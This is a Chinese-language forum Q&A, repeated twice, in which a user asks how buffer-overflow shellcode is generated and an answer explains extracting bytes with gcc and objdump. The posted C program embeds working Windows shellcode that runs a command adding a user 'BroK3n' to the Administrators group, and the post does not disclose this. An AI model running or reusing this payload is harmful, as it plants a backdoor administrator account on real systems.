Buffer Overflow的shell代码是如何产生的
How is the shell code of a Buffer Overflow generated
下面的代码引起了我的好奇。我总是查看、搜索和研究所谓的 "Buffer overflow" 漏洞。我想知道代码是如何生成的。代码如何以及为什么是 运行?
char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"
"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"
"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"
"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"
"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"
"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"
"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"
"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"
"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"
"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7";
int main(int argc, char **argv){
int (*f)();
f = (int (*)())shellcode;(int)(*f)();
}
非常感谢小伙子。 ^_^
机器码指令作为数据直接输入到C程序中,然后用函数指针调用。如果系统允许,程序集可以执行程序允许的任何操作,包括启动其他程序。
该代码特定于它所针对的特定处理器。
生成此类代码的一种简单方法是在 C 中编写所需的功能。然后使用 gcc 作为编译器编译它(不是 link)
gcc -c shellcode.c
这将生成一个目标文件 shellcode.o。现在您可以使用 objdump
查看汇编代码
odjdump -D shellcode.o
现在您可以看到与您的函数中的指令对应的字节。
请记住,这仅在您的 shellcode 不调用任何其他函数或不引用任何全局变量或字符串时才有效。那是因为 linker 还没有被调用。如果您想要所有功能,我建议您在导出所需功能时生成一个共享二进制文件(*NIX 上的 .so 和 Windows 上的 dll)。然后你可以找到函数的起点并从那里复制字节。您还必须复制所有其他函数和全局变量的字节。您还必须确保共享库被编译为位置独立库。
同样如上所述,生成的代码是特定于目标的,不会像在其他平台上那样工作。
下面的代码引起了我的好奇。我总是查看、搜索和研究所谓的 "Buffer overflow" 漏洞。我想知道代码是如何生成的。代码如何以及为什么是 运行?
char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a"
"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf"
"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f"
"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69"
"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63"
"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44"
"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33"
"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65"
"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63"
"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7";
int main(int argc, char **argv){
int (*f)();
f = (int (*)())shellcode;(int)(*f)();
}
非常感谢小伙子。 ^_^
机器码指令作为数据直接输入到C程序中,然后用函数指针调用。如果系统允许,程序集可以执行程序允许的任何操作,包括启动其他程序。
该代码特定于它所针对的特定处理器。
生成此类代码的一种简单方法是在 C 中编写所需的功能。然后使用 gcc 作为编译器编译它(不是 link)
gcc -c shellcode.c
这将生成一个目标文件 shellcode.o。现在您可以使用 objdump
查看汇编代码odjdump -D shellcode.o
现在您可以看到与您的函数中的指令对应的字节。 请记住,这仅在您的 shellcode 不调用任何其他函数或不引用任何全局变量或字符串时才有效。那是因为 linker 还没有被调用。如果您想要所有功能,我建议您在导出所需功能时生成一个共享二进制文件(*NIX 上的 .so 和 Windows 上的 dll)。然后你可以找到函数的起点并从那里复制字节。您还必须复制所有其他函数和全局变量的字节。您还必须确保共享库被编译为位置独立库。
同样如上所述,生成的代码是特定于目标的,不会像在其他平台上那样工作。